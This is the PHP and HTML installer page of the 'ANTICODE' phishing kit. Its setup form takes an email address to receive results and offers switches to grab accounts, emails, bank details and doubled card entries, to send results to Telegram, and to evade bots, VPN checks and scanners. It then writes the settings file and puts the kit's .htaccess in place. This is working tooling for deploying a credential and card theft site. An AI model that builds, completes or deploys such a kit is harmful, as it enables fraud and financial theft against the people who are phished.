<?php

session_start();
if (is_file('../ANTICODE/Priv/.settings.ini')) {
  header('Location: /private-access/panel/login');
  exit();
}
ini_set('max_execution_time', 300);
if (isset($_POST['gass'])) {
  $result            = $_POST["result"];
  $parameter         = $_POST["parameter"];
  $blockers          = $_POST["blockers"];
  $antibot           = $_POST["antibot"];
  $getemail          = $_POST["getemail"];
  $getaccount        = $_POST["getaccount"];
  $vpndetect         = $_POST["vpndetect"];
  $doublecard        = $_POST["doublecard"];
  $telegram          = $_POST["telegram"];
  $getbank           = $_POST["getbank"];
  $doubleemail       = $_POST["doubleemail"];
  $doublelog         = $_POST["doublelog"];
  $stopbot           = $_POST["stopbot"];


  if (empty($result && $parameter && $blockers && $antibot && $getemail && $getaccount && $vpndetect && $doublecard && $telegram && $getbank && $doubleemail && $doublelog && $stopbot)) {
    $_SESSION["sukses"] = 'swal("Error", "Please input all fields.", "error");';
    $_SESSION['display'] = 'js-active';
    $_SESSION['tmp'] = 'js-active';
    $_SESSION['hide'] = 'hide';
    header('Location: /');
    exit();
  }
  if (filter_var($result, FILTER_VALIDATE_EMAIL) === false) {
    $_SESSION["sukses"] = 'swal("Error", "Please Enter a Valid Email.", "error");';
    $_SESSION['display'] = 'js-active';
    $_SESSION['tmp'] = 'js-active';
    $_SESSION['hide'] = 'hide';
    header('Location: /');
    exit();
  }

  $f = fopen("../ANTICODE/Priv/.settings.ini", "w");
  $R1 = substr(str_shuffle('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 6);
  $R2 = substr(str_shuffle('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 6);
  $R3 = substr(str_shuffle('0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 6);
  $token = 'ANTICODE-' . $R1 . '-' . $R2 . '-' . $R3 .'';
  $domain = 'https://' . $_SERVER['SERVER_NAME'];
  setcookie('token', $token, time() + (86400 * 30), "/");
  setcookie('panel', $domain . '/private-access/panel/login', time() + (86400 * 30), "/");
  setcookie('linksc', $domain . '/?' . $parameter, time() + (86400 * 30), "/");
  setcookie('copyright', '2025 All Right Reserved', time() + (86400 * 30), "/");
  fwrite($f, "TOKEN = \"$token\"\nRESULT = \"$result\"\nPARAMETER = \"$parameter\"\nBLOCKERS = \"$blockers\"\nANTIBOT = \"$antibot\"\nGETEMAIL = \"$getemail\"\nGETACCOUNT = \"$getaccount\"\nVPNDETECT = \"$vpndetect\"\nDOUBLECARD = \"$doublecard\"\nTELEGRAM = \"$telegram\"\nGETBANK = \"$getbank\"\nDOUBLEEMAIL = \"$doubleemail\"\nDOUBLELOG = \"$doublelog\"\nSTOPBOT = \"$stopbot\"\n");
  fclose($f);
  rename("data/anticode.htaccess", "../.htaccess");
  $_SESSION["sukses"] = 'swal("success", "INSTALLATIONS SUCCESS", "success");';
  header('Location: /private-access/panel/finished');
  exit();
}
$phpversionsuccess = false;
$curlsuccess = false;
$displayerrorssuccess = false;
$zliboutputcompressionsuccess = false;
$timezonesuccess = false;
$phprequired = "7.4";
$phpversion = PHP_VERSION;
if (version_compare($phpversion, $phprequired) >= 0) {
  $phpversionsuccess = true;
}
if (function_exists("curl_version")) {
  $curlsuccess = true;
}
if (ini_get('display_errors')) {
  $displayerrorssuccess = true;
}
if (ini_get('zlib.output_compression')) {
  $zliboutputcompressionsuccess = true;
}
$timezonesettings = ini_get('date.timezone');
if ($timezonesettings) {
  $timezonesuccess = true;
}
if ($phpversionsuccess && $curlsuccess && $timezonesuccess && $displayerrorssuccess && $zliboutputcompressionsuccess) {
  $all_requirement_success = true;
} else {
  $all_requirement_success = false;
}
$writeable_directories = array(
  'ANTICODE' => '/ANTICODE',
  'ANTICODEPriv' => '/ANTICODE/Priv'
);
foreach ($writeable_directories as $value) {
  if (!is_writeable(".." . $value)) {
    $all_requirement_success = false;
  }
}
$dashboardurl = $_SERVER['HTTP_HOST'] . $_SERVER['SCRIPT_NAME'];
$dashboardurl = preg_replace('/install.*/', '', $dashboardurl);
if (!empty($_SERVER['HTTPS'])) {
  $dashboardurl = 'https://' . $dashboardurl;
} else {
  $dashboardurl = 'http://' . $dashboardurl;
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
  <meta charset="UTF-8">
  <title>Anticode Installations</title>
    <link rel="shortcut icon" href="../ANTICODE/Ansrc/favicons/favicon.ico">
  <link href="https://fonts.googleapis.com/css?family=Poppins:400,600&display=swap" rel="stylesheet">
  <link href='https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/4.1.3/css/bootstrap.min.css' rel='stylesheet'>
  <link href="https://cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.min.css" rel="stylesheet">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.1/css/all.min.css">
  <link href="../ANTICODE/Ansrc/css/anticode.install.css" rel="stylesheet">
</head>
<style>
    body {
        margin: 0;
        background: black;
        }
    .lbx {
        margin-bottom:-8px;
    }
    
    .lbl-anticode {
        font-size:12px;
        color:black;
        margin-bottom:1px;
        margin-left:2px;
    }
    .rain-container {
            position: absolute;
            width: 100%;
            height: 100vh;
            overflow: hidden;
        }
        
        .raindrop {
            position: absolute;
            width: 2px;
            height: 20px;
            background: rgb(136, 255, 0);
            opacity: 0.7;
            animation: fall linear infinite;
        }
        
        .raindrop:nth-child(1) {
            left: 10%;
            animation-duration: 1.2s;
            animation-delay: 0s;
        }
        .raindrop:nth-child(2) {
            left: 20%;
            animation-duration: 1.5s;
            animation-delay: 0.2s;
        }
        .raindrop:nth-child(3) {
            left: 30%;
            animation-duration: 1.8s;
            animation-delay: 0.5s;
        }
        .raindrop:nth-child(4) {
            left: 40%;
            animation-duration: 1.3s;
            animation-delay: 0.3s;
        }
        .raindrop:nth-child(5) {
            left: 50%;
            animation-duration: 1.7s;
            animation-delay: 0.6s;
        }
        .raindrop:nth-child(6) {
            left: 60%;
            animation-duration: 1.4s;
            animation-delay: 0.1s;
        }
        .raindrop:nth-child(7) {
            left: 70%;
            animation-duration: 1.9s;
            animation-delay: 0.4s;
        }
        .raindrop:nth-child(8) {
            left: 80%;
            animation-duration: 1.6s;
            animation-delay: 0.7s;
        }
        
        @keyframes fall {
            0% {
                top: -10%;
                opacity: 0;
            }
            30% {
                opacity: 1;
            }
            100% {
                top: 100%;
                opacity: 0;
            }
        }


        .raindropx-container {
            position: absolute;
            width: 100%;
            height: 100%;
        }

        .raindropx {
            position: absolute;
            font-size: 30px;
            color: #40ff005f; 
            animation: fall 5s ease-in infinite, fadeInOut 5s ease-in-out infinite;
        }

        @keyframes fadeInOut {
            0%, 100% {
                opacity: 0;
            }
            50% {
                opacity: 1;
            }
        }


        .form-control::before {
            border-color: transparent;
        }

        .form-control {
            border-color: transparent;
            box-shadow: none;
        }

        .form-control:focus {
            border-color:transparent;
            box-shadow: 0 0 2px 2px rgb(136, 255, 0);
        }

        .text-anticode {
            color: rgb(136, 255, 0);
        }

        .btn-dark:hover {
            background-color: transparent;
            color:rgb(136, 255, 0);
            box-shadow: 0 0 2px 2px rgb(136, 255, 0);
            border:1px solid rgb(0, 0, 0);
        }
        .btn-dark {
            background-color: transparent;
            border: 1px solid rgba(69, 69, 69, 0.637);
            color:#b7b7b7;
        }
        .form-control::placeholder {
            color: rgb(136, 255, 0); 
            font-style: normal; 
            font-size: 13px; 
        }

        .lbl-anticode {
            color: white;
            font-size: 13px;
            margin-bottom: 3px;
            font-style: normal;
        }

        .logo-container {
            width: 100%;
            display: flex;
            justify-content: center;
            align-items: center;
            background-color: transparent;
        }

        .logo {
            font-size: 100px; 
            color: #2c3e50; 
            transition: color 1s ease-in-out;
        }


        .logo:hover {
            color: #f39c12;
        }
        .card {
            border: 2px dotted #6aff0058;
            border-radius: 15px;
            width: 400px;
            box-shadow: 0 0 3px 3px rgba(0, 0, 0, 0.527);
        }

        .card:hover {
            border-color:transparent;
            box-shadow: 0 0 3px 3px rgba(136, 255, 0, 0.327);
        }
        .text-anticode-dark {
            color: #87dc4b9e; 
        }

        .smx {
            font-size: 13px;
        }

        #typing-text {
            font-size: 12px;
            white-space: nowrap;
            overflow: hidden; 
            border-right: 1px solid #00ff2a70;
            padding-right: 5px;
        }

        .input-group-text {
            border-color:transparent;
            box-shadow: 0 0 1px 1px rgb(136, 255, 0);
        }
</style>

<body>
    <div class="rain-container">
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <span class="raindrop"></span>
        <div class="row m-3">
            <div class="col-2">
                <div class="raindropx-container">
                    <i class="fab fa-ethereum raindropx ms-5" style="--random-x: 0.1; animation-delay: 0s;"></i>
                </div>
            </div>
            <div class="col-2">
                <div class="raindropx-container">
                    <i class="fa fa-dollar-sign raindropx ms-5" style="--random-x: 0.3; animation-delay: 1s;"></i>
                </div>
            </div>
            <div class="col-2">
                <div style="margin-left: 30px;" class="raindropx-container">
                    <i class="fab fa-bitcoin  raindropx ms-5" style="--random-x: 0.5; animation-delay: 2s;"></i>
                </div>
            </div>
            <div class="col-2">
                <div style="margin-left: 30px;" class="raindropx-container">
                    <i class="fa fa-dollar-sign raindropx ms-5" style="--random-x: 0.7; animation-delay: 2s;"></i>
                </div>
            </div>
            <div class="col-2">
                <div class="raindropx-container">
                    <i class="fab fa-ethereum raindropx ms-5" style="--random-x: 0.9; animation-delay: 1s;"></i>
                </div>
            </div>
            <div class="col-2">
                <div class="raindropx-container">
                    <i class="fab fa-bitcoin raindropx ms-5" style="--random-x: 0.1; animation-delay: 0s;"></i>
                </div>
            </div>
        </div>
    </div>

    
  <header class="header text-center mt-3">
     <i class="fab fa-napster text-anticode fa-5x"></i>
  </header>
  <div style="width:900px;" class="content">
    <div class="content__inner">
      <div class="container overflow-hidden">
        <div class="multisteps-form">
          <div style="margin-top: -30px;" class="row">
            <div class="col-12 col-lg-8 ml-auto mr-auto">
                <div class="text-center">
                     <p style="font-size:13px; padding:15px; border:2px solid rgba(136, 255, 0, 0.637); border-radius:0 0 35px 35px; font-weight:bold; font-family:Verdana, Geneva, Tahoma, sans-serif; background-color:transparent;" class="text-white" id="typing-text"></p>
                </div>
              <div class="multisteps-form__progress text-center" hidden>
                <button class="btn-warning rounded js-active" title="Pre-Installation" disabled>REQUIREMENTS</button>
                <button class="btn-warning rounded <?php echo @$_SESSION['tampil'] ? $_SESSION['tampil'] : ''; ?><?php unset($_SESSION['tampil']); ?>" title="Configuration" disabled>SETTINGS</button>
                <button class="btn-warning rounded" title="Finished" disabled>DONE</button>
              </div>
            </div>
          </div>
          <div class="row">
            <div class="col-12 col-lg-8 m-auto">
              <form action="" method="POST" class="multisteps-form__form">
                <div class="multisteps-form__panel shadow p-4 rounded <?php echo @$_SESSION['hide'] ? $_SESSION['hide'] : 'js-active'; ?><?php unset($_SESSION['hide']); ?>" data-animation="slideHorz">
                  <div class="multisteps-form__content">
                    <div style="margin-top: -15px;"  class="form-row">
                      <div class="col">
                        <h5 class="text-white text-center" style="font-size:13px; font-weight:bolder; letter-spacing: 1px; font-family:Verdana, Geneva, Tahoma, sans-serif; background-color:transparent; border:2px solid rgba(136, 255, 0, 0.637); padding:10px; border-radius:25px;">PHP REQUIREMENT</h5>
                        <hr />
                        <table style="margin-top: -15px;"  class="table table-stripe">
                          <thead class="text-center" style="border:1px solid rgba(136, 255, 0, 0.637);">
                            <tr>
                              <th style="color:rgba(136, 255, 0, 0.637); font-family:Verdana, Geneva, Tahoma, sans-serif; font-size: 10px;" class="text-center">PHP</th>
                              <th style="color:rgba(136, 255, 0, 0.637); font-family:Verdana, Geneva, Tahoma, sans-serif; font-size: 10px;" class="text-center">CURRENT VERSION</th>
                              <th style="color:rgba(136, 255, 0, 0.637); font-family:Verdana, Geneva, Tahoma, sans-serif; font-size: 10px;" class="text-center">REQUIREMENT VERSION</th>
                              <th style="color:rgba(136, 255, 0, 0.637); font-family:Verdana, Geneva, Tahoma, sans-serif; font-size: 10px;" class="text-center">STATUS</th>
                            </tr>
                          </thead>
                          <tbody style="border:1px solid rgba(136, 255, 0, 0.637);">
                            <tr>
                              <td style="font-weight:bold; font-size: 12px;" class="text-white text-center">INSTALLED</td>
                              <td style="font-weight:bold; font-size: 12px;" class="text-white text-center"><?php echo $phpversion; ?></td>
                              <td style="font-weight:bold; font-size: 12px;" class="text-white text-center"><?php echo $phprequired; ?>+</td>
                              <td>
                                <?php if ($phpversionsuccess) { ?>
                                  <p style="font-size:12px;" class="text-success text-center"><i class="fa fa-circle-check text-success"></i></p>
                                <?php } else { ?>
                                  <p style="font-size:12px;" class="text-danger text-center"><i class="fa fa-circle-xmark text-primary"></i></p>
                                <?php } ?>
                              </td>
                            </tr>
                          </tbody>
                        </table>
                      </div>
                    </div>
                    <div class="form-row">
                      <div class="col">
                        <h5 class="text-white text-center" style="font-size:13px; font-weight:bolder; letter-spacing: 1px; font-family:Verdana, Geneva, Tahoma, sans-serif; background-color:transparent; border:2px solid rgba(136, 255, 0, 0.637); padding:10px; border-radius:25px;">EXTENSION REQUIREMENT</h5>
                        <hr />
                        <table style="margin-top: -15px;">
                          <thead>
                            <tr>
                              <th style="color:rgba(136, 255, 0, 0.637); font-family:Verdana, Geneva, Tahoma, sans-serif; font-size: 10px;" class="text-center">EXTENSION</th>
                              <th style="color:rgba(136, 255, 0, 0.637); font-family:Verdana, Geneva, Tahoma, sans-serif; font-size: 10px;" class="text-center">CURRENT STATUS</th>
                              <th style="color:rgba(136, 255, 0, 0.637); font-family:Verdana, Geneva, Tahoma, sans-serif;font-size: 10px;" class="text-center">REQUIREMENT</th>
                              <th style="color:rgba(136, 255, 0, 0.637); font-family:Verdana, Geneva, Tahoma, sans-serif; font-size: 10px;" class="text-center">STATUS</th>
                            </tr>
                          </thead>

                          <tbody>
                            <tr>
                              <td style="font-weight:bold; font-size: 12px;" class="text-white text-left">cURL</td>
                              <td style="font-size:12px;" class="text-center"> <?php if ($curlsuccess) { ?>
                                 <i class="fa fa-circle-check text-success"></i>
                                <?php } else { ?>
                                 <i class="fa fa-circle-xmark text-primary"></i>
                                <?php } ?>
                              </td>
                              <td style="font-size:12px;" class="text-center"><i class="fa fa-circle-check text-success"></i></td>
                              <td>
                                <?php if ($curlsuccess) { ?>
                                  <p style="font-size:12px;" class="text-success text-center"><i class="fa fa-circle-check text-success"></i></p>
                                <?php } else { ?>
                                  <p style="font-size:12px;" class="text-danger text-center"><i class="fa fa-circle-xmark text-primary"></i></p>
                                <?php } ?>
                              </td>
                            </tr>
                            <tr>
                              <td style="font-weight:bold;font-size: 12px;" class="text-dark text-left">display_errors</td>
                              <td style="font-size:12px;" class="text-white text-center"> <?php if ($displayerrorssuccess) { ?>
                                 <i class="fa fa-circle-check text-success"></i>
                                <?php } else { ?>
                                 <i class="fa fa-circle-xmark text-primary"></i>
                                <?php } ?>
                              </td>
                              <td style="font-size:12px;" class="text-center"><i class="fa fa-circle-check text-success"></i></td>
                              <td>
                                <?php if ($displayerrorssuccess) { ?>
                                  <p style="font-size:12px;" class="text-success text-center"><i class="fa fa-circle-check text-success"></i></p>
                                <?php } else { ?>
                                  <p style="font-size:12px;" class="text-danger text-center"><i class="fa fa-circle-xmark text-primary"></i></p>
                                <?php } ?>
                              </td>
                            </tr>
                            <tr>
                              <td style="font-weight:bold; font-size: 12px;" class="text-white text-left">zlib.output_compression</td>
                              <td style="font-size:12px;" class="text-white text-center"> <?php if ($zliboutputcompressionsuccess) { ?>
                                 <i class="fa fa-circle-check text-success"></i>
                                <?php } else { ?>
                                 <i class="fa fa-circle-xmark text-primary"></i>
                                <?php } ?>
                              </td>
                              <td style="font-size:12px;" class="text-center"><i class="fa fa-circle-check text-success"></i></td>
                              <td>
                                <?php if ($zliboutputcompressionsuccess) { ?>
                                  <p style="font-size:12px;" class="text-success text-center"><i class="fa fa-circle-check text-success"></i></p>
                                <?php } else { ?>
                                  <p style="font-size:12px;" class="text-danger text-center"><i class="fa fa-circle-xmark text-primary"></i></p>
                                <?php } ?>
                              </td>
                            </tr>
                            <tr>
                              <td style="font-weight:bold; font-size: 12px;" class="text-dark text-left">date.timezone</td>
                              <td style="font-weight:bold; font-size: 12px;" class="text-dark text-center"> <?php if ($timezonesuccess) {
                                      echo $timezonesettings;
                                    } else {
                                      echo "Null";
                                    } ?>
                              </td>
                              <td style="font-weight:bold;font-size: 12px;" class="text-dark text-center">Timezone</td>
                              <td>
                                <?php if ($timezonesuccess) { ?>
                                  <p style="font-size:12px;" class="text-success text-center"><i class="fa fa-circle-check text-success"></i></p>
                                <?php } else { ?>
                                  <p style="font-size:12px;" class="text-danger text-center"><i class="fa fa-circle-xmark text-primary"></i></p>
                                <?php } ?>
                              </td>
                            </tr>
                          </tbody>
                        </table>
                      </div>
                    </div>
                    <div class="form-row">
                      <div class="col">
                        <p><h5 class="text-white text-center" style="font-size:13px; font-weight:bolder; letter-spacing: 1px; font-family:Verdana, Geneva, Tahoma, sans-serif; background-color:transparent; border:2px solid rgba(136, 255, 0, 0.637); padding:10px; border-radius:25px;"> PERMISSION REQUIREMENT </h5>
                        <hr />
                        <table style="margin-top: -15px;">
                          <tbody>
                            <?php
                            foreach ($writeable_directories as $value) {
                            ?>
                              <tr>
                                <td style="font-weight:bold; font-size: 12px;" class="text-success bg-transparent text-center"><?php echo $value; ?></td>
                                <td style="font-size:12px;" class="text-dark text-center">
                                  <?php if (is_writeable(".." . $value)) { ?>
                                    <p style="font-size:12px;" class="text-dark text-center"><i class="fa fa-circle-check text-success"></i></p>
                                  <?php
                                  } else {
                                    $all_requirement_success = false;
                                  ?>
                                    <p style="font-size:12px;" class="text-danger text-center"><i class="fa fa-circle-xmark text-primary"></i></p>
                                  <?php } ?>
                                </td>
                              </tr>
                            <?php
                            }
                            ?>
                          </tbody>
                        </table>
                      </div>
                    </div>
                    <div class="button-row d-flex mt-2">
                      <button style="background-color:rgba(136, 255, 0, 0.637); font-size:14px; border:none; font-family:Verdana, Geneva, Tahoma, sans-serif; font-weight:bold; border-radius:0 0 45px 45px; letter-spacing:1px;" <?php
                              if (!$all_requirement_success) {
                                echo "disabled=disabled";
                              }
                              ?> class="btn btn-warning d-block w-100 p-3 ml-auto js-btn-next text-white" type="button" title="Next">NEXT</button>
                    </div>
                  </div>
                </div>
                <style>
                    .anticode-1 {
                        background-color: #b02b2b;
                        color:white;
                    }
                    .anticode-2 {
                        background-color: green;
                        color:white;
                        border-color:green;
                    }
                    
                    .bd {
                        border: 2px solid gray;
                    }
                    
                    .form-control:focus {
                        border-color: green;
                        box-shadow:none;
                    }
                </style>
                <div class="multisteps-form__panel shadow p-4 rounded <?php echo @$_SESSION['tmp'] ? $_SESSION['tmp'] : 'hide'; ?><?php unset($_SESSION['tmp']); ?>" data-animation="slideHorz">
                  <h5 style="padding:8px; border:2px solid rgba(136, 255, 0, 0.637); font-size: 18px; border-radius:25px; margin-top:-15px;" class="multisteps-form__title text-white text-center bg-transparent">
                      OUR CONFIGURATIONS
                </h5>
                  <div class="multisteps-form__content">
                    <div class="form-row mt-4">
                      <div class="col-6 col-sm-6 mt-3 mt-sm-0">
                        <label class="lbl-anticode">Email Result</label>
                        <input style="font-size:14px; color:rgba(136, 255, 0, 0.637); border-radius:5px;" class="multisteps-form__input form-control bg-transparent bd" type="text" name="result" placeholder="Enter your email" value="partofanticode@enotices.xyz"/>
                      </div>
                      <div class="col-6 col-sm-6 mt-3 mt-sm-0">
                        <label class="lbl-anticode">Parameter</label>
                        <input style="font-size:14px; color:rgba(136, 255, 0, 0.637); border-radius:5px;" class="multisteps-form__input form-control bg-transparent bd" type="text" name="parameter" placeholder="Default" value="anticode" />
                      </div>
                    </div>
                    <div class="form-row mt-3">
                      <div class="col-6 col-sm-3 mt-3 mt-sm-0">
                        <label class="lbl-anticode"> Blocker</label>
                        <select id="blockers" name="blockers" class="form-control anticode-1">
                          <option selected="selected" value="off">Disabled</option>
                          <option value="on">Enabled</option>
                        </select>
                      </div>
                      <div class="col-6 col-sm-3 mt-3 mt-sm-0">
                        <label class="lbl-anticode"> AntiBot</label>
                        <select id="antibot" name="antibot" class="form-control anticode-1">
                          <option selected="selected" value="off">Disabled</option>
                          <option value="on">Enabled</option>
                        </select>
                      </div>
                      <div class="col-6 col-sm-3 mt-3 mt-sm-0">
                        <label class="lbl-anticode"> Vpn Detect</label>
                        <select id="vpndetect" name="vpndetect" class="form-control anticode-1">
                          <option selected="selected" value="off">Disabled</option>
                          <option value="on">Enabled</option>
                        </select>
                      </div>
                      <div class="col-6 col-sm-3 mt-3 mt-sm-0">
                        <label class="lbl-anticode"> Stopbot</label>
                        <select id="stopbot" name="stopbot" class="form-control anticode-1">
                          <option selected="selected" value="off">Disabled</option>
                          <option value="on">Enabled</option>
                        </select>
                      </div>
                    </div>
                    <div class="form-row mt-3">
                      <div class="col-6 col-sm-3 mt-3 mt-sm-0">
                          <label class="lbl-anticode">Grab Account</label>
                          <select id="getaccount" name="getaccount" class="form-control anticode-1">
                            <option selected="selected" value="off">Disabled</option>
                            <option value="on">Enabled</option>
                          </select>
                        </div>
                        <div class="col-6 col-sm-3 mt-3 mt-sm-0">
                          <label class="lbl-anticode">Double Log</label>
                          <select id="doublelog" name="doublelog" class="form-control anticode-1">
                            <option selected="selected" value="off">Disabled</option>
                            <option value="on">Enabled</option>
                          </select>
                        </div>
                      <div class="col-6 col-sm-3 mt-3 mt-sm-0">
                          <label class="lbl-anticode">Grab Email</label>
                          <select id="getemail" name="getemail" class="form-control anticode-1">
                            <option selected="selected" value="off">Disabled</option>
                            <option value="on">Enabled</option>
                          </select>
                        </div>
                        <div class="col-6 col-sm-3 mt-3 mt-sm-0">
                          <label class="lbl-anticode">Double Email</label>
                          <select id="doubleemail" name="doubleemail" class="form-control anticode-1">
                            <option selected="selected" value="off">Disabled</option>
                            <option value="on">Enabled</option>
                          </select>
                        </div>
                    </div>
                    <div class="form-row mt-3">
                    <div class="col-6 col-sm-4 mt-3 mt-sm-0">
                        <label class="lbl-anticode"> Grab Bank</label>
                        <select id="getbank" name="getbank" class="form-control anticode-1">
                          <option selected="selected" value="off">Disabled</option>
                          <option value="on">Enabled</option>
                        </select>
                      </div>
                      <div class="col-6 col-sm-4 mt-3 mt-sm-0">
                        <label class="lbl-anticode"> Double Card</label>
                        <select id="doublecard" name="doublecard" class="form-control anticode-1">
                          <option selected="selected" value="off">Disabled</option>
                          <option value="on">Enabled</option>
                        </select>
                      </div>
                      <div class="col-6 col-sm-4 mt-3 mt-sm-0">
                        <label class="lbl-anticode"> Telegram</label>
                        <select id="telegram" name="telegram" class="form-control anticode-1">
                          <option selected="selected" value="off">Disabled</option>
                          <option value="on">Enabled</option>
                        </select>
                      </div>
                    </div>
                    <hr style="border:1px dotted gray;">
                    <div class="button-row d-flex mt-4">
                        <div class="col-md-6 col-12">
                             <button  style="border:2px solid rgba(136, 255, 0, 0.637); border-radius: 0 0 0 30px;" class="btn btn-dark bg-transparent js-btn-prev d-block w-100" type="button" title="Prev">
                          <i class="fa fa-arrow-left m-2"></i> BACK
                        </button>
                        </div>
                        <div class="col-md-6 col-12">
                            <button style="border:2px solid rgba(136, 255, 0, 0.637); border-radius: 0 0 30px 0;" class="btn btn-dark bg-transparent d-block w-100" <?php
                            if (!$all_requirement_success) { echo "disabled=disabled"; } ?> name="gass" type="submit" title="Install">
                         INSTALL  <i class="fa fa-arrow-right m-2"></i>
                        </button>
                        </div>
                    </div>
                  </div>
                </div>
              </form>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>
  <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js" integrity="sha384-DfXdz2htPH0lsSSs5nCTpuj/zy4C+OGpamoFVy38MVBnE+IbbVYUew+OrCXaRkfj" crossorigin="anonymous"></script>
  <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ho+j7jyWK8fNQe+A12Hb8AhRq26LrZ/JpcUGGOn+Y7RsweNrtN/tE3MoK7ZeZDyx" crossorigin="anonymous"></script>
  <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
  <script src="https://cdnjs.cloudflare.com/ajax/libs/limonte-sweetalert2/7.33.1/sweetalert2.min.js"></script>
  <script src="../ANTICODE/Ansrc/js/anticode.install.js"></script>
  <script>
    var Anticode = $('#blockers, #antibot, #vpndetect, #stopbot, #getaccount, #doublelog, #getemail, #doubleemail, #getbank, #doublecard, #telegram, #ipapi');
    Anticode.on('change', function() {
        if ($('#blockers').val() == "on") {
            $('#blockers').removeClass('anticode-1').addClass('anticode-2');
        } else {
            $('#blockers').removeClass('anticode-2').addClass('anticode-1');
        }

        if ($('#antibot').val() == "on") {
            $('#antibot').removeClass('anticode-1').addClass('anticode-2');
        } else {
            $('#antibot').removeClass('anticode-2').addClass('anticode-1');
        }

        if ($('#vpndetect').val() == "on") {
            $('#vpndetect').removeClass('anticode-1').addClass('anticode-2');
        } else {
            $('#vpndetect').removeClass('anticode-2').addClass('anticode-1');
        }

        if ($('#stopbot').val() == "on") {
            $('#stopbot').removeClass('anticode-1').addClass('anticode-2');
        } else {
            $('#stopbot').removeClass('anticode-2').addClass('anticode-1');
        }

        if ($('#getaccount').val() == "on") {
            $('#getaccount').removeClass('anticode-1').addClass('anticode-2');
        } else {
            $('#getaccount').removeClass('anticode-2').addClass('anticode-1');
        }

        if ($('#doublelog').val() == "on") {
            $('#doublelog').removeClass('anticode-1').addClass('anticode-2');
        } else {
            $('#doublelog').removeClass('anticode-2').addClass('anticode-1');
        }

        if ($('#getemail').val() == "on") {
            $('#getemail').removeClass('anticode-1').addClass('anticode-2');
        } else {
            $('#getemail').removeClass('anticode-2').addClass('anticode-1');
        }

        if ($('#doubleemail').val() == "on") {
            $('#doubleemail').removeClass('anticode-1').addClass('anticode-2');
        } else {
            $('#doubleemail').removeClass('anticode-2').addClass('anticode-1');
        }

        if ($('#getbank').val() == "on") {
            $('#getbank').removeClass('anticode-1').addClass('anticode-2');
        } else {
            $('#getbank').removeClass('anticode-2').addClass('anticode-1');
        }

        if ($('#doublecard').val() == "on") {
            $('#doublecard').removeClass('anticode-1').addClass('anticode-2');
        } else {
            $('#doublecard').removeClass('anticode-2').addClass('anticode-1');
        }

        if ($('#telegram').val() == "on") {
            $('#telegram').removeClass('anticode-1').addClass('anticode-2');
        } else {
            $('#telegram').removeClass('anticode-2').addClass('anticode-1');
        }

        if ($('#ipapi').val() == "on") {
            $('#ipapi').removeClass('anticode-1').addClass('anticode-2');
        } else {
            $('#ipapi').removeClass('anticode-2').addClass('anticode-1');
        }
    });
    
        const text = "ANTICODE SCRIPT INSTALLATIONS";
        const typingElement = document.getElementById("typing-text");
        let index = 0;
        function type() {
            if (index < text.length) {
                typingElement.textContent += text.charAt(index);
                index++;
                setTimeout(type, 200);
            }
        }
        window.onload = type;
</script>

  
  <?php if (@$_SESSION['sukses']) { ?>
    <script>
      <?php echo $_SESSION['sukses']; ?>
    </script>
  <?php unset($_SESSION['sukses']);
  } ?>
</body>

</html>